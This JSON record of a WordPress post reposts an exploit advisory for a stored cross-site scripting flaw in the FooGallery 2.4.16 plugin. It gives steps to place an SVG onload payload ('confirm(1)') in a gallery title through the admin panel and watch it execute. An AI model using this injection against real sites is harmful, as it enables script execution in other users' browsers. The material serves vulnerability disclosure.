{"id":57824,"date":"2024-07-02T18:49:38","date_gmt":"2024-07-02T15:49:38","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179305\/foogallery2416-xss.txt"},"modified":"2024-07-02T18:49:38","modified_gmt":"2024-07-02T15:49:38","slug":"wordpress-foogallery-2-4-16-cross-site-scripting","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/wordpress-foogallery-2-4-16-cross-site-scripting\/","title":{"rendered":"WordPress FooGallery 2.4.16 Cross Site Scripting"},"content":{"rendered":"<pre readability=\"7\"><code readability=\"8\"># Exploit Title: FooGallery version : 2.4.16 Stored XSS<br># Date: 2024-07-02<br># Exploit Author: tmrswrr<br># Category : Webapps<br># Vendor Homepage: https:\/\/wordpress.org\/plugins\/foogallery\/<br># Version 2.4.16<p>### Steps to Execute the Payload:<\/p><p>1. **Click Add New Gallery**: [Add New Gallery](https:\/\/127.0.0.1\/wp-admin\/post-new.php?post_type=foogallery)<br>2. **Write Add Title your payload**: `\"&gt;&lt;sVg\/onLy=1 onLoaD=confirm(1)\/\/`<br>3. **Click Publish**, then click **Create Gallery Page**.<br>4. **Verify Execution**: You will see the payload executed in the usage field.<br><\/p><\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: FooGallery version : 2.4.16 Stored XSS# Date: 2024-07-02# Exploit Author: tmrswrr# Category : Webapps# Vendor Homepage: https:\/\/wordpress.org\/plugins\/foogallery\/# Version 2.4.16### Steps to Execute the Payload:1. **Click Add New Gallery**: [Add New Gallery](https:\/\/127.0.0.1\/wp-admin\/post-new.php?post_type=foogallery)2. **Write Add Title your payload**: `&#8221;&gt;&lt;sVg\/onLy=1 onLoaD=confirm(1)\/\/`3. **Click Publish**, then click **Create Gallery Page**.4. **Verify Execution**: You will see the payload &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57824","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57824","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57824"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57824\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57824"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57824"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57824"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}